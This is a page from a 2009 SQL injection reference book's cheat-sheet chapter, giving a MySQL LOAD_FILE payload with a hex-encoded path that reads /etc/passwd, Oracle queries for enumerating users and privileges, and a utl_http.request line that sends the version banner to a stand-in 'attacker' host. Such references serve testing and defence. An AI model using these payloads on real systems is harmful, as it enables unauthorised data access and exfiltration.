SQL Injection Attacks and Defense - 2009

References • Chapter 10 435
If MAGIC_QUOTES_GPC is enabled, you can represent the file path using a hexadecimal
string to avoid using single-quote characters:
SELECT LOAD_FILE(0x2f6574632f706173737764);# Loads /etc/passwd
You can use a tool called SqlDumper written by Antonio “s4tan” Parata to read file
contents via blind SQL injection. SqlDumper is available for download at www.ictsc.it/site/
IT/projects/sqlDumper/sqlDumper.php.
Oracle Cheat Sheet
The Oracle database is typically implemented for large-scale applications where database
performance or high availability is a key requirement.
Enumerating Database
Configuration Information and Schema
Table 10.14 lists SQL statements used to extract key configuration information. Tables 10.15
and 10.16 list the SQL statements used to enumerate Oracle schema information.
Table 10.14 Extracting Oracle Server Configuration Information
Data
Version
Current user
List users
Current user
privileges
AppServer
host name
Database server
host name
Establish external
connections
Query
SELECT banner FROM v$version;
SELECT user FROM dual;
SELECT username FROM all_users ORDER BY username;
SELECT * FROM user role_privs;
SELECT * FROM user_tab_privs;
SELECT * FROM user_sys_privs;
SELECT sys_context('USERENV', 'ISDBA') FROM dual;
SELECT sys_context('USERENV', 'HOST') FROM dual;
SELECT sys_context('USERENV', 'SERVER_HOST') FROM dual;
SELECT utl_http.request('http://attacker:1000/'||( SELECT
banner FROM v$version WHERE rownum=1)) FROM dual
Establishes an HTTP connection over port 1000 to the host;
attacker, the HTTP request, contains the Oracle version
banner within the request path.